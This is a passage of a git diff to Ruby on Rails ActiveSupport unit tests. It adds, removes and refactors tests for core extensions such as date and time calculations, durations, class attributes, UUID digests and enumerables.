- assert_match("--- .NaN\n", BigDecimal.new('NaN').to_yaml)
- assert_match("--- -.Inf\n", BigDecimal.new('-Infinity').to_yaml)
- end
-
- def test_to_d
- bd = BigDecimal.new '10'
- assert_equal bd, bd.to_d
- end
-
def test_to_s
bd = BigDecimal.new '0.01'
assert_equal '0.01', bd.to_s
diff --git a/activesupport/test/core_ext/blank_test.rb b/activesupport/test/core_ext/blank_test.rb
deleted file mode 100644
index a68c074777..0000000000
--- a/activesupport/test/core_ext/blank_test.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# encoding: utf-8
-
-require 'abstract_unit'
-require 'active_support/core_ext/object/blank'
-
-class BlankTest < ActiveSupport::TestCase
- BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", ' ', [], {} ]
- NOT = [ EmptyFalse.new, Object.new, true, 0, 1, 'a', [nil], { nil => 0 } ]
-
- def test_blank
- BLANK.each { |v| assert v.blank?, "#{v.inspect} should be blank" }
- NOT.each { |v| assert !v.blank?, "#{v.inspect} should not be blank" }
- end
-
- def test_present
- BLANK.each { |v| assert !v.present?, "#{v.inspect} should not be present" }
- NOT.each { |v| assert v.present?, "#{v.inspect} should be present" }
- end
-
- def test_presence
- BLANK.each { |v| assert_equal nil, v.presence, "#{v.inspect}.presence should return nil" }
- NOT.each { |v| assert_equal v, v.presence, "#{v.inspect}.presence should return self" }
- end
-end
diff --git a/activesupport/test/core_ext/class/attribute_accessor_test.rb b/activesupport/test/core_ext/class/attribute_accessor_test.rb
deleted file mode 100644
index 8d827f054e..0000000000
--- a/activesupport/test/core_ext/class/attribute_accessor_test.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/class/attribute_accessors'
-
-class ClassAttributeAccessorTest < ActiveSupport::TestCase
- def setup
- @class = Class.new do
- cattr_accessor :foo
- cattr_accessor :bar, :instance_writer => false
- cattr_reader :shaq, :instance_reader => false
- cattr_accessor :camp, :instance_accessor => false
- end
- @object = @class.new
- end
-
- def test_should_use_mattr_default
- assert_nil @class.foo
- assert_nil @object.foo
- end
-
- def test_should_set_mattr_value
- @class.foo = :test
- assert_equal :test, @object.foo
-
- @object.foo = :test2
- assert_equal :test2, @class.foo
- end
-
- def test_should_not_create_instance_writer
- assert_respond_to @class, :foo
- assert_respond_to @class, :foo=
- assert_respond_to @object, :bar
- assert !@object.respond_to?(:bar=)
- end
-
- def test_should_not_create_instance_reader
- assert_respond_to @class, :shaq
- assert !@object.respond_to?(:shaq)
- end
-
- def test_should_not_create_instance_accessors
- assert_respond_to @class, :camp
- assert !@object.respond_to?(:camp)
- assert !@object.respond_to?(:camp=)
- end
-
- def test_should_raise_name_error_if_attribute_name_is_invalid
- assert_raises NameError do
- Class.new do
- cattr_reader "invalid attribute name"
- end
- end
-
- assert_raises NameError do
- Class.new do
- cattr_writer "invalid attribute name"
- end
- end
- end
-end
diff --git a/activesupport/test/core_ext/class/attribute_test.rb b/activesupport/test/core_ext/class/attribute_test.rb
index 1c3ba8a7a0..e7a1334db3 100644
--- a/activesupport/test/core_ext/class/attribute_test.rb
+++ b/activesupport/test/core_ext/class/attribute_test.rb
@@ -27,7 +27,7 @@ class ClassAttributeTest < ActiveSupport::TestCase
assert_equal 1, Class.new(@sub).setting
end
- test 'query method' do
+ test 'predicate method' do
assert_equal false, @klass.setting?
@klass.setting = 1
assert_equal true, @klass.setting?
@@ -48,7 +48,7 @@ class ClassAttributeTest < ActiveSupport::TestCase
assert_equal 1, object.setting
end
- test 'instance query' do
+ test 'instance predicate' do
object = @klass.new
assert_equal false, object.setting?
object.setting = 1
@@ -73,6 +73,11 @@ class ClassAttributeTest < ActiveSupport::TestCase
assert_raise(NoMethodError) { object.setting = 'boom' }
end
+ test 'disabling instance predicate' do
+ object = Class.new { class_attribute :setting, instance_predicate: false }.new
+ assert_raise(NoMethodError) { object.setting? }
+ end
+
test 'works well with singleton classes' do
object = @klass.new
object.singleton_class.setting = 'foo'
diff --git a/activesupport/test/core_ext/class/delegating_attributes_test.rb b/activesupport/test/core_ext/class/delegating_attributes_test.rb
index 148f82946c..447b1d10ad 100644
--- a/activesupport/test/core_ext/class/delegating_attributes_test.rb
+++ b/activesupport/test/core_ext/class/delegating_attributes_test.rb
@@ -6,14 +6,18 @@ module DelegatingFixtures
end
class Child < Parent
- superclass_delegating_accessor :some_attribute
+ ActiveSupport::Deprecation.silence do
+ superclass_delegating_accessor :some_attribute
+ end
end
class Mokopuna < Child
end
class PercysMom
- superclass_delegating_accessor :superpower
+ ActiveSupport::Deprecation.silence do
+ superclass_delegating_accessor :superpower
+ end
end
class Percy < PercysMom
@@ -29,7 +33,10 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
end
def test_simple_accessor_declaration
- single_class.superclass_delegating_accessor :both
+ assert_deprecated do
+ single_class.superclass_delegating_accessor :both
+ end
+
# Class should have accessor and mutator
# the instance should have an accessor only
assert_respond_to single_class, :both
@@ -39,14 +46,23 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
end
def test_simple_accessor_declaration_with_instance_reader_false
- single_class.superclass_delegating_accessor :no_instance_reader, :instance_reader => false
+ _instance_methods = single_class.public_instance_methods
+
+ assert_deprecated do
+ single_class.superclass_delegating_accessor :no_instance_reader, :instance_reader => false
+ end
+
assert_respond_to single_class, :no_instance_reader
assert_respond_to single_class, :no_instance_reader=
- assert !single_class.public_instance_methods.map(&:to_s).include?("no_instance_reader")
+ assert !_instance_methods.include?(:no_instance_reader)
+ assert !_instance_methods.include?(:no_instance_reader?)
+ assert !_instance_methods.include?(:_no_instance_reader)
end
def test_working_with_simple_attributes
- single_class.superclass_delegating_accessor :both
+ assert_deprecated do
+ single_class.superclass_delegating_accessor :both
+ end
single_class.both = "HMMM"
@@ -62,7 +78,11 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
def test_child_class_delegates_to_parent_but_can_be_overridden
parent = Class.new
- parent.superclass_delegating_accessor :both
+
+ assert_deprecated do
+ parent.superclass_delegating_accessor :both
+ end
+
child = Class.new(parent)
parent.both = "1"
assert_equal "1", child.both
@@ -94,4 +114,9 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
Child.some_attribute=nil
end
+ def test_deprecation_warning
+ assert_deprecated(/superclass_delegating_accessor is deprecated/) do
+ single_class.superclass_delegating_accessor :test_attribute
+ end
+ end
end
diff --git a/activesupport/test/core_ext/date_and_time_behavior.rb b/activesupport/test/core_ext/date_and_time_behavior.rb
index 9927856aa2..b4ef5a0597 100644
--- a/activesupport/test/core_ext/date_and_time_behavior.rb
+++ b/activesupport/test/core_ext/date_and_time_behavior.rb
@@ -95,6 +95,11 @@ module DateAndTimeBehavior
end
def test_next_week
+ # M | T | W | T | F | S | S # M | T | W | T | F | S | S #
+ # | 22/2 | | | | | # 28/2 | | | | | | # monday in next week `next_week`
+ # | 22/2 | | | | | # | | | | 4/3 | | # friday in next week `next_week(:friday)`
+ # 23/10 | | | | | | # 30/10 | | | | | | # monday in next week `next_week`
+ # 23/10 | | | | | | # | | 1/11 | | | | # wednesday in next week `next_week(:wednesday)`
assert_equal date_time_init(2005,2,28,0,0,0), date_time_init(2005,2,22,15,15,10).next_week
assert_equal date_time_init(2005,3,4,0,0,0), date_time_init(2005,2,22,15,15,10).next_week(:friday)
assert_equal date_time_init(2006,10,30,0,0,0), date_time_init(2006,10,23,0,0,0).next_week
diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb
index 7ae1f67785..e89be25b53 100644
--- a/activesupport/test/core_ext/date_ext_test.rb
+++ b/activesupport/test/core_ext/date_ext_test.rb
@@ -1,6 +1,7 @@
require 'abstract_unit'
require 'active_support/time'
require 'core_ext/date_and_time_behavior'
+require 'time_zone_test_helpers'
class DateExtCalculationsTest < ActiveSupport::TestCase
def date_time_init(year,month,day,*args)
@@ -8,6 +9,7 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
end
include DateAndTimeBehavior
+ include TimeZoneTestHelpers
def test_yesterday_in_calendar_reform
assert_equal Date.new(1582,10,4), Date.new(1582,10,15).yesterday
@@ -25,6 +27,7 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
assert_equal "February 21st, 2005", date.to_s(:long_ordinal)
assert_equal "2005-02-21", date.to_s(:db)
assert_equal "21 Feb 2005", date.to_s(:rfc822)
+ assert_equal "2005-02-21", date.to_s(:iso8601)
end
def test_readable_inspect
@@ -33,8 +36,12 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
end
def test_to_time
- assert_equal Time.local(2005, 2, 21), Date.new(2005, 2, 21).to_time
- assert_equal Time.local_time(2039, 2, 21), Date.new(2039, 2, 21).to_time
+ with_env_tz 'US/Eastern' do
+ assert_equal Time, Date.new(2005, 2, 21).to_time.class
+ assert_equal Time.local(2005, 2, 21), Date.new(2005, 2, 21).to_time
+ assert_equal Time.local(2005, 2, 21).utc_offset, Date.new(2005, 2, 21).to_time.utc_offset
+ end
+
silence_warnings do
0.upto(138) do |year|
[:utc, :local].each do |format|
@@ -44,6 +51,10 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
end
end
+ def test_compare_to_time
+ assert Date.yesterday < Time.now
+ end
+
def test_to_datetime
assert_equal DateTime.civil(2005, 2, 21), Date.new(2005, 2, 21).to_datetime
assert_equal 0, Date.new(2005, 2, 21).to_datetime.offset # use UTC offset
@@ -239,6 +250,10 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
assert_equal Time.local(2005,2,21,0,0,0), Date.new(2005,2,21).beginning_of_day
end
+ def test_middle_of_day
+ assert_equal Time.local(2005,2,21,12,0,0), Date.new(2005,2,21).middle_of_day
+ end
+
def test_beginning_of_day_when_zone_is_set
zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
with_env_tz 'UTC' do
@@ -263,6 +278,23 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
end
end
+ def test_all_week
+ assert_equal Date.new(2011,6,6)..Date.new(2011,6,12), Date.new(2011,6,7).all_week
+ assert_equal Date.new(2011,6,5)..Date.new(2011,6,11), Date.new(2011,6,7).all_week(:sunday)
+ end
+
+ def test_all_month
+ assert_equal Date.new(2011,6,1)..Date.new(2011,6,30), Date.new(2011,6,7).all_month
+ end
+
+ def test_all_quarter
+ assert_equal Date.new(2011,4,1)..Date.new(2011,6,30), Date.new(2011,6,7).all_quarter
+ end
+
+ def test_all_year
+ assert_equal Date.new(2011,1,1)..Date.new(2011,12,31), Date.new(2011,6,7).all_year
+ end
+
def test_xmlschema
with_env_tz 'US/Eastern' do
assert_match(/^1980-02-28T00:00:00-05:?00$/, Date.new(1980, 2, 28).xmlschema)
@@ -319,22 +351,6 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
Date.new(2005,2,28).advance(options)
assert_equal({ :years => 3, :months => 11, :days => 2 }, options)
end
-
- protected
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
- yield
- ensure
- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
- end
-
- def with_tz_default(tz = nil)
- old_tz = Time.zone
- Time.zone = tz
- yield
- ensure
- Time.zone = old_tz
- end
end
class DateExtBehaviorTest < ActiveSupport::TestCase
@@ -354,3 +370,4 @@ class DateExtBehaviorTest < ActiveSupport::TestCase
end
end
end
+
diff --git a/activesupport/test/core_ext/date_time_ext_test.rb b/activesupport/test/core_ext/date_time_ext_test.rb
index 3353465c1c..74319ecd09 100644
--- a/activesupport/test/core_ext/date_time_ext_test.rb
+++ b/activesupport/test/core_ext/date_time_ext_test.rb
@@ -1,6 +1,7 @@
require 'abstract_unit'
require 'active_support/time'
require 'core_ext/date_and_time_behavior'
+require 'time_zone_test_helpers'
class DateTimeExtCalculationsTest < ActiveSupport::TestCase
def date_time_init(year,month,day,hour,minute,second,*args)
@@ -8,6 +9,7 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
end
include DateAndTimeBehavior
+ include TimeZoneTestHelpers
def test_to_s
datetime = DateTime.new(2005, 2, 21, 14, 30, 0, 0)
@@ -18,6 +20,12 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal "Mon, 21 Feb 2005 14:30:00 +0000", datetime.to_s(:rfc822)
assert_equal "February 21st, 2005 14:30", datetime.to_s(:long_ordinal)
assert_match(/^2005-02-21T14:30:00(Z|\+00:00)$/, datetime.to_s)
+
+ with_env_tz "US/Central" do
+ assert_equal "2009-02-05T14:30:05-06:00", DateTime.civil(2009, 2, 5, 14, 30, 5, Rational(-21600, 86400)).to_s(:iso8601)
+ assert_equal "2008-06-09T04:05:01-05:00", DateTime.civil(2008, 6, 9, 4, 5, 1, Rational(-18000, 86400)).to_s(:iso8601)
+ assert_equal "2009-02-05T14:30:05+00:00", DateTime.civil(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
+ end
end
def test_readable_inspect
@@ -41,11 +49,14 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
end
def test_to_time
- assert_equal Time.utc(2005, 2, 21, 10, 11, 12), DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time
- assert_equal Time.utc_time(2039, 2, 21, 10, 11, 12), DateTime.new(2039, 2, 21, 10, 11, 12, 0).to_time
- # DateTimes with offsets other than 0 are returned unaltered
- assert_equal DateTime.new(2005, 2, 21, 10, 11, 12, Rational(-5, 24)), DateTime.new(2005, 2, 21, 10, 11, 12, Rational(-5, 24)).to_time
- # Fractional seconds are preserved
+ with_env_tz 'US/Eastern' do
+ assert_equal Time, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time.class
+ assert_equal Time.local(2005, 2, 21, 5, 11, 12), DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time
+ assert_equal Time.local(2005, 2, 21, 5, 11, 12).utc_offset, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time.utc_offset
+ end
+ end
+
+ def test_to_time_preserves_fractional_seconds
assert_equal Time.utc(2005, 2, 21, 10, 11, 12, 256), DateTime.new(2005, 2, 21, 10, 11, 12 + Rational(256, 1000000), 0).to_time
end
@@ -73,6 +84,10 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal DateTime.civil(2005,2,4,0,0,0), DateTime.civil(2005,2,4,10,10,10).beginning_of_day
end
+ def test_middle_of_day
+ assert_equal DateTime.civil(2005,2,4,12,0,0), DateTime.civil(2005,2,4,10,10,10).middle_of_day
+ end
+
def test_end_of_day
assert_equal DateTime.civil(2005,2,4,23,59,59), DateTime.civil(2005,2,4,10,10,10).end_of_day
end
@@ -85,6 +100,14 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal DateTime.civil(2005,2,4,19,59,59), DateTime.civil(2005,2,4,19,30,10).end_of_hour
end
+ def test_beginning_of_minute
+ assert_equal DateTime.civil(2005,2,4,19,30,0), DateTime.civil(2005,2,4,19,30,10).beginning_of_minute
+ end
+
+ def test_end_of_minute
+ assert_equal DateTime.civil(2005,2,4,19,30,59), DateTime.civil(2005,2,4,19,30,10).end_of_minute
+ end
+
def test_end_of_month
assert_equal DateTime.civil(2005,3,31,23,59,59), DateTime.civil(2005,3,20,10,10,10).end_of_month
assert_equal DateTime.civil(2005,2,28,23,59,59), DateTime.civil(2005,2,20,10,10,10).end_of_month
@@ -118,6 +141,9 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal DateTime.civil(2005,2,22,16), DateTime.civil(2005,2,22,15,15,10).change(:hour => 16)
assert_equal DateTime.civil(2005,2,22,16,45), DateTime.civil(2005,2,22,15,15,10).change(:hour => 16, :min => 45)
assert_equal DateTime.civil(2005,2,22,15,45), DateTime.civil(2005,2,22,15,15,10).change(:min => 45)
+
+ # datetime with fractions of a second
+ assert_equal DateTime.civil(2005,2,1,15,15,10.7), DateTime.civil(2005,2,22,15,15,10.7).change(:day => 1)
end
def test_advance
@@ -138,6 +164,12 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal DateTime.civil(2013,10,17,20,22,19), DateTime.civil(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5, :hours => 5, :minutes => 7, :seconds => 9)
end
+ def test_advance_partial_days
+ assert_equal DateTime.civil(2012,9,29,13,15,10), DateTime.civil(2012,9,28,1,15,10).advance(:days => 1.5)
+ assert_equal DateTime.civil(2012,9,28,13,15,10), DateTime.civil(2012,9,28,1,15,10).advance(:days => 0.5)
+ assert_equal DateTime.civil(2012,10,29,13,15,10), DateTime.civil(2012,9,28,1,15,10).advance(:days => 1.5, :months => 1)
+ end
+
def test_advanced_processes_first_the_date_deltas_and_then_the_time_deltas
# If the time deltas were processed first, the following datetimes would be advanced to 2010/04/01 instead.
assert_equal DateTime.civil(2010, 3, 29), DateTime.civil(2010, 2, 28, 23, 59, 59).advance(:months => 1, :seconds => 1)
@@ -242,6 +274,10 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
end
end
+ def test_acts_like_date
+ assert DateTime.new.acts_like_date?
+ end
+
def test_acts_like_time
assert DateTime.new.acts_like_time?
end
@@ -302,6 +338,7 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
def test_to_f
assert_equal 946684800.0, DateTime.civil(2000).to_f
assert_equal 946684800.0, DateTime.civil(1999,12,31,19,0,0,Rational(-5,24)).to_f
+ assert_equal 946684800.5, DateTime.civil(1999,12,31,19,0,0.5,Rational(-5,24)).to_f
end
def test_to_i
@@ -309,11 +346,13 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal 946684800, DateTime.civil(1999,12,31,19,0,0,Rational(-5,24)).to_i
end
- protected
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
- yield
- ensure
- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
- end
+ def test_usec
+ assert_equal 0, DateTime.civil(2000).usec
+ assert_equal 500000, DateTime.civil(2000, 1, 1, 0, 0, Rational(1,2)).usec
+ end
+
+ def test_nsec
+ assert_equal 0, DateTime.civil(2000).nsec
+ assert_equal 500000000, DateTime.civil(2000, 1, 1, 0, 0, Rational(1,2)).nsec
+ end
end
diff --git a/activesupport/test/core_ext/digest/uuid_test.rb b/activesupport/test/core_ext/digest/uuid_test.rb
new file mode 100644
index 0000000000..08e0a1d6e1
--- /dev/null
+++ b/activesupport/test/core_ext/digest/uuid_test.rb
@@ -0,0 +1,24 @@
+require 'abstract_unit'
+require 'active_support/core_ext/digest/uuid'
+
+class DigestUUIDExt < ActiveSupport::TestCase
+ def test_v3_uuids
+ assert_equal "3d813cbb-47fb-32ba-91df-831e1593ac29", Digest::UUID.uuid_v3(Digest::UUID::DNS_NAMESPACE, "www.widgets.com")
+ assert_equal "86df55fb-428e-3843-8583-ba3c05f290bc", Digest::UUID.uuid_v3(Digest::UUID::URL_NAMESPACE, "http://www.widgets.com")
+ assert_equal "8c29ab0e-a2dc-3482-b5eb-20cb2e2387a1", Digest::UUID.uuid_v3(Digest::UUID::OID_NAMESPACE, "1.2.3")
+ assert_equal "ee49149d-53a4-304a-890b-468229f6afc3", Digest::UUID.uuid_v3(Digest::UUID::X500_NAMESPACE, "cn=John Doe, ou=People, o=Acme, Inc., c=US")
+ end
+
+ def test_v5_uuids
+ assert_equal "21f7f8de-8051-5b89-8680-0195ef798b6a", Digest::UUID.uuid_v5(Digest::UUID::DNS_NAMESPACE, "www.widgets.com")
+ assert_equal "4e570fd8-186d-5a74-90f0-4d28e34673a1", Digest::UUID.uuid_v5(Digest::UUID::URL_NAMESPACE, "http://www.widgets.com")
+ assert_equal "42d5e23b-3a02-5135-85c6-52d1102f1f00", Digest::UUID.uuid_v5(Digest::UUID::OID_NAMESPACE, "1.2.3")
+ assert_equal "fd5b2ddf-bcfe-58b6-90d6-db50f74db527", Digest::UUID.uuid_v5(Digest::UUID::X500_NAMESPACE, "cn=John Doe, ou=People, o=Acme, Inc., c=US")
+ end
+
+ def test_invalid_hash_class
+ assert_raise ArgumentError do
+ Digest::UUID.uuid_from_hash(Digest::SHA2, Digest::UUID::OID_NAMESPACE, '1.2.3')
+ end
+ end
+end
diff --git a/activesupport/test/core_ext/duplicable_test.rb b/activesupport/test/core_ext/duplicable_test.rb
deleted file mode 100644
index e0566e012c..0000000000
--- a/activesupport/test/core_ext/duplicable_test.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-require 'abstract_unit'
-require 'bigdecimal'
-require 'active_support/core_ext/object/duplicable'
-require 'active_support/core_ext/numeric/time'
-
-class DuplicableTest < ActiveSupport::TestCase
- RAISE_DUP = [nil, false, true, :symbol, 1, 2.3, 5.seconds]
- YES = ['1', Object.new, /foo/, [], {}, Time.now, Class.new, Module.new]
- NO = []
-
- begin
- bd = BigDecimal.new('4.56')
- YES << bd.dup
- rescue TypeError
- RAISE_DUP << bd
- end
-
-
- def test_duplicable
- (RAISE_DUP + NO).each do |v|
- assert !v.duplicable?
- end
-
- YES.each do |v|
- assert v.duplicable?, "#{v.class} should be duplicable"
- end
-
- (YES + NO).each do |v|
- assert_nothing_raised { v.dup }
- end
-
- RAISE_DUP.each do |v|
- assert_raises(TypeError, v.class.name) do
- v.dup
- end
- end
- end
-end
diff --git a/activesupport/test/core_ext/duration_test.rb b/activesupport/test/core_ext/duration_test.rb
index 2826f51f2d..2b893c7cd0 100644
--- a/activesupport/test/core_ext/duration_test.rb
+++ b/activesupport/test/core_ext/duration_test.rb
@@ -2,8 +2,11 @@ require 'abstract_unit'
require 'active_support/inflector'
require 'active_support/time'
require 'active_support/json'
+require 'time_zone_test_helpers'
class DurationTest < ActiveSupport::TestCase
+ include TimeZoneTestHelpers
+
def test_is_a
d = 1.day
assert d.is_a?(ActiveSupport::Duration)
@@ -17,19 +20,43 @@ class DurationTest < ActiveSupport::TestCase
assert !d.is_a?(k)
end
+ def test_instance_of
+ assert 1.minute.instance_of?(Fixnum)
+ assert 2.days.instance_of?(ActiveSupport::Duration)
+ assert !3.second.instance_of?(Numeric)
+ end
+
def test_threequals
assert ActiveSupport::Duration === 1.day
assert !(ActiveSupport::Duration === 1.day.to_i)
assert !(ActiveSupport::Duration === 'foo')
- assert !(ActiveSupport::Duration === ActiveSupport::ProxyObject.new)
end
def test_equals
assert 1.day == 1.day
assert 1.day == 1.day.to_i
+ assert 1.day.to_i == 1.day
assert !(1.day == 'foo')
end
+ def test_to_s
+ assert_equal "1", 1.second.to_s
+ end
+
+ def test_eql
+ rubinius_skip "Rubinius' #eql? definition relies on #instance_of? " \
+ "which behaves oddly for the sake of backward-compatibility."
+
+ assert 1.minute.eql?(1.minute)
+ assert 1.minute.eql?(60.seconds)
+ assert 2.days.eql?(48.hours)
+ assert !1.second.eql?(1)
+ assert !1.eql?(1.second)
+ assert 1.minute.eql?(180.seconds - 2.minutes)
+ assert !1.minute.eql?(60)
+ assert !1.minute.eql?('foo')
+ end
+
def test_inspect
assert_equal '0 seconds', 0.seconds.inspect
assert_equal '1 month', 1.month.inspect
@@ -37,6 +64,8 @@ class DurationTest < ActiveSupport::TestCase
assert_equal '6 months and -2 days', (6.months - 2.days).inspect
assert_equal '10 seconds', 10.seconds.inspect
assert_equal '10 years, 2 months, and 1 day', (10.years + 2.months + 1.day).inspect
+ assert_equal '10 years, 2 months, and 1 day', (10.years + 1.month + 1.day + 1.month).inspect
+ assert_equal '10 years, 2 months, and 1 day', (1.day + 10.years + 2.months).inspect
assert_equal '7 days', 1.week.inspect
assert_equal '14 days', 1.fortnight.inspect
end
@@ -50,14 +79,10 @@ class DurationTest < ActiveSupport::TestCase
end
def test_argument_error
- begin
+ e = assert_raise ArgumentError do
1.second.ago('')
- flunk("no exception was raised")
- rescue ArgumentError => e
- assert_equal 'expected a time or date, got ""', e.message, "ensure ArgumentError is not being raised by dependencies.rb"
- rescue Exception => e
- flunk("ArgumentError should be raised, but we got #{e.class} instead")
end
+ assert_equal 'expected a time or date, got ""', e.message, "ensure ArgumentError is not being raised by dependencies.rb"
end
def test_fractional_weeks
@@ -70,6 +95,19 @@ class DurationTest < ActiveSupport::TestCase
assert_equal 86400 * 1.7, 1.7.days
end
+ def test_since_and_ago
+ t = Time.local(2000)
+ assert_equal t + 1, 1.second.since(t)
+ assert_equal t - 1, 1.second.ago(t)
+ end
+
+ def test_since_and_ago_without_argument
+ now = Time.now
+ assert 1.second.since >= now + 1
+ now = Time.now
+ assert 1.second.ago >= now - 1
+ end
+
def test_since_and_ago_with_fractional_days
t = Time.local(2000)
# since
@@ -95,10 +133,10 @@ class DurationTest < ActiveSupport::TestCase
with_env_tz 'US/Eastern' do
Time.stubs(:now).returns Time.local(2000)
# since
- assert_equal false, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
+ assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.since
assert_equal Time.local(2000,1,1,0,0,5), 5.seconds.since
# ago
- assert_equal false, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
+ assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago
assert_equal Time.local(1999,12,31,23,59,55), 5.seconds.ago
end
end
@@ -108,11 +146,11 @@ class DurationTest < ActiveSupport::TestCase
with_env_tz 'US/Eastern' do
Time.stubs(:now).returns Time.local(2000)
# since
- assert_equal true, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
+ assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.since
assert_equal Time.utc(2000,1,1,0,0,5), 5.seconds.since.time
assert_equal 'Eastern Time (US & Canada)', 5.seconds.since.time_zone.name
# ago
- assert_equal true, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
+ assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago
assert_equal Time.utc(1999,12,31,23,59,55), 5.seconds.ago.time
assert_equal 'Eastern Time (US & Canada)', 5.seconds.ago.time_zone.name
end
@@ -140,15 +178,37 @@ class DurationTest < ActiveSupport::TestCase
assert_equal counter, 60
end
+ def test_as_json
+ assert_equal 172800, 2.days.as_json
+ end
+
def test_to_json
assert_equal '172800', 2.days.to_json
end
- protected
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
- yield
- ensure
- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
- end
+ def test_case_when
+ cased = case 1.day when 1.day then "ok" end
+ assert_equal cased, "ok"
+ end
+
+ def test_respond_to
+ assert_respond_to 1.day, :since
+ assert_respond_to 1.day, :zero?
+ end
+
+ def test_hash
+ assert_equal 1.minute.hash, 60.seconds.hash
+ end
+
+ def test_comparable
+ assert_equal(-1, (0.seconds <=> 1.second))
+ assert_equal(-1, (1.second <=> 1.minute))
+ assert_equal(-1, (1 <=> 1.minute))
+ assert_equal(0, (0.seconds <=> 0.seconds))
+ assert_equal(0, (0.seconds <=> 0.minutes))
+ assert_equal(0, (1.second <=> 1.second))
+ assert_equal(1, (1.second <=> 0.second))
+ assert_equal(1, (1.minute <=> 1.second))
+ assert_equal(1, (61 <=> 1.minute))
+ end
end
diff --git a/activesupport/test/core_ext/enumerable_test.rb b/activesupport/test/core_ext/enumerable_test.rb
index 0a1abac767..346dc3d208 100644
--- a/activesupport/test/core_ext/enumerable_test.rb
+++ b/activesupport/test/core_ext/enumerable_test.rb
@@ -8,7 +8,6 @@ class SummablePayment < Payment
end
class EnumerableTests < ActiveSupport::TestCase
- Enumerator = [].each.class
class GenericEnumerable
include Enumerable
@@ -21,28 +20,6 @@ class EnumerableTests < ActiveSupport::TestCase
end
end
- def test_group_by
- names = %w(marcel sam david jeremy)
- klass = Struct.new(:name)
- objects = (1..50).inject([]) do |people,|
- p = klass.new
- p.name = names.sort_by { rand }.first
- people << p
- end
-
- enum = GenericEnumerable.new(objects)
- grouped = enum.group_by { |object| object.name }
-
- grouped.each do |name, group|
- assert group.all? { |person| person.name == name }
- end
-
- assert_equal objects.uniq.map(&:name), grouped.keys
- assert({}.merge(grouped), "Could not convert ActiveSupport::OrderedHash into Hash")
- assert_equal Enumerator, enum.group_by.class
- assert_equal grouped, enum.group_by.each(&:name)
- end
-
def test_sums
enum = GenericEnumerable.new([5, 15, 10])
assert_equal 30, enum.sum
@@ -94,10 +71,14 @@ class EnumerableTests < ActiveSupport::TestCase
def test_index_by
payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])
assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
- payments.index_by { |p| p.price })
+ payments.index_by(&:price))
assert_equal Enumerator, payments.index_by.class
+ if Enumerator.method_defined? :size
+ assert_equal nil, payments.index_by.size
+ assert_equal 42, (1..42).index_by.size
+ end
assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
- payments.index_by.each { |p| p.price })
+ payments.index_by.each(&:price))
end
def test_many
diff --git a/activesupport/test/core_ext/hash/transform_keys_test.rb b/activesupport/test/core_ext/hash/transform_keys_test.rb
new file mode 100644
index 0000000000..a7e12117f3
--- /dev/null
+++ b/activesupport/test/core_ext/hash/transform_keys_test.rb
@@ -0,0 +1,32 @@
+require 'abstract_unit'
+require 'active_support/core_ext/hash/keys'
+
+class TransformKeysTest < ActiveSupport::TestCase
+ test "transform_keys returns a new hash with the keys computed from the block" do
+ original = { a: 'a', b: 'b' }
+ mapped = original.transform_keys { |k| "#{k}!".to_sym }
+
+ assert_equal({ a: 'a', b: 'b' }, original)
+ assert_equal({ a!: 'a', b!: 'b' }, mapped)
+ end
+
+ test "transform_keys! modifies the keys of the original" do
+ original = { a: 'a', b: 'b' }
+ mapped = original.transform_keys! { |k| "#{k}!".to_sym }
+
+ assert_equal({ a!: 'a', b!: 'b' }, original)
